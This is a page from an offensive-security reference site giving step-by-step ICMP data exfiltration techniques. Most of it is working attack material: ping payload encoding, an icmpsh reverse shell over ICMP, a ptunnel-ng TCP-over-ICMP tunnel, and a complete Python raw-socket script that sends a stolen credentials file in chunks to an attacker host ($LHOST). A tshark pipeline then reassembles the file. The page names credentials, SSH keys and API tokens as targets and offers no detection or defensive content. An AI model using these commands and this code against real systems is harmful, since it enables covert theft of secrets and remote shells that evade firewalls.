# ICMP Data Exfiltration

- **URL:** https://hackindex.io/services/hosts/data-exfiltration/icmp-data-exfiltration
- **Path:** Hosts > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/hosts/data-exfiltration.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

ICMP exfiltration encodes data into ping echo request payloads and sends it to an attacker-controlled host. It works in environments where all TCP and UDP egress is blocked but ICMP is permitted: common on networks that allow monitoring pings to pass through the firewall but restrict application-layer traffic.

The tradeoff is bandwidth: each query carries a small payload, transfer is slow, and high packet volume is detectable by network monitoring. Use it for small, high-value data when no other egress path is available.

Data suited for ICMP exfiltration:

- Credentials and password hashes
- SSH keys and API tokens
- Small configuration files

You need root on both the target and your attacker machine to send and receive custom ICMP payloads using raw sockets.

## Confirming ICMP Egress

Before anything else, confirm ICMP reaches your attacker machine from the target:

```bash
ping -c 3 $LHOST
```

Capture on your attacker machine:

```bash
tcpdump -i any -n icmp
```

If requests appear in tcpdump, ICMP egress is open. No traffic means it is blocked at the firewall.

## Manual Payload Encoding with ping

The ping `-p` flag accepts a hex pattern to fill the packet payload. This repeats the same 16-byte pattern across the packet: useful only for very small fixed values.

Encode a short string to hex:

```bash
echo -n "s3cr3ttoken1234" | xxd -p
```

Send it:

```bash
ping -c 1 -p $(echo -n "s3cr3ttoken1234" | xxd -p) $LHOST
```

Capture the hex payload on the attacker side:

```bash
tcpdump -i any -n icmp -X
```

For arbitrary file data, the raw ping approach is too limited. Use the tools below instead.

## icmpsh: Reverse Shell over ICMP

icmpsh provides a reverse shell channel over ICMP echo traffic. The client runs on the target and connects back to the listener on your attacker machine.

On your attacker machine, disable kernel ICMP echo replies first: otherwise the kernel answers pings before icmpsh can read them:

```bash
sysctl -w net.ipv4.icmp_echo_ignore_all=1
```

Start the Python listener:

```bash
python3 icmpsh_m.py $LHOST $TARGET_IP
```

Transfer the client binary to the target and run it:

```bash
./icmpsh -t $LHOST -d 500 -b 30 -s 128
```

`-d 500` sets 500ms delay between requests, `-b 30` maximum consecutive blanks before exit, `-s 128` payload size in bytes.

Once the shell is active, exfiltrate small files by encoding and printing them through the session:

```bash
base64 -w 0 /dev/shm/.work/creds.txt
```

Copy each line of output back to your attacker machine manually. For anything larger, use ptunnel below to get a proper transfer channel.

Restore ICMP handling on your attacker machine when done:

```bash
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```

## ptunnel-ng: TCP over ICMP

ptunnel-ng creates a full TCP tunnel inside ICMP echo packets. Once established, any TCP-based transfer method works through it: including SCP and rsync.

On your attacker machine:

```bash
ptunnel-ng -x $PASSWORD
```

On the target:

```bash
ptunnel-ng -p $LHOST -lp $LPORT -da $LHOST -dp 22 -x $PASSWORD
```

`-lp` is the local port to expose on the target, `-da` and `-dp` are the destination host and port on the attacker side. This forwards SSH through the ICMP tunnel.

Connect via the forwarded port:

```bash
ssh -p $LPORT $USER@127.0.0.1
```

Once SSH is available through the tunnel, use scp or sftp for the actual transfer. See [Data Exfiltration over SSH and SCP](https://hackindex.io/services/ssh/data-exfiltration/exfiltration-over-ssh-and-scp).

## Raw Python ICMP Sender

When no binary tools are available but Python and root access exist, send raw ICMP packets with encoded payloads directly:

```python
import socket, struct, time, base64

def checksum(data):
    s = 0
    for i in range(0, len(data), 2):
        w = (data[i] << 8) + (data[i+1] if i+1 < len(data) else 0)
        s = (s + w) & 0xffff
    return ~s & 0xffff

import os
payload = base64.b64encode(open('/dev/shm/.work/creds.txt','rb').read())
chunk_size = 48
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
pid = os.getpid() & 0xFFFF

for i, chunk in enumerate([payload[j:j+chunk_size] for j in range(0,len(payload),chunk_size)]):
    header = struct.pack('bbHHh', 8, 0, 0, pid, i)
    chk = checksum(header + chunk)
    header = struct.pack('bbHHh', 8, 0, socket.htons(chk), pid, i)
    sock.sendto(header + chunk, ('$LHOST', 0))
    time.sleep(0.1)
```

Capture and extract payloads on your attacker machine:

```bash
tcpdump -i any -n icmp -w /tmp/icmp_capture.pcap
```

Extract with tshark:

```bash
tshark -r /tmp/icmp_capture.pcap -Y "icmp.type==8" -T fields -e data.data | tr -d '\n' | xxd -r -p | base64 -d > received_file
```

The sequence number field in each packet (`i` in the loop) preserves order during reassembly.

## When to Use ICMP Exfiltration

ICMP exfiltration is a last resort. Before committing to it, confirm that the following are actually blocked:

```bash
# Test TCP egress on common ports
curl -s --max-time 5 http://$LHOST:80/test
curl -sk --max-time 5 https://$LHOST:443/test
ssh -o ConnectTimeout=5 $USER@$LHOST exit 2>/dev/null
```

If any of those work, use [HTTP/HTTPS](https://hackindex.io/services/web/data-exfiltration/exfiltration-over-http-https) or [SSH](https://hackindex.io/services/ssh/data-exfiltration/exfiltration-over-ssh-and-scp) exfiltration instead: both are faster and more reliable.

## References

- [GitHub icmpsh](https://github.com/inquisb/icmpsh) - simple reverse ICMP shell. Includes the Python master listener and C client source.
- [f-secure-foundry/ptunnel-ng](https://github.com/f-secure-foundry/ptunnel-ng) - GitHub ptunnel-ng: TCP tunnel transported over ICMP echo packets with authentication support.
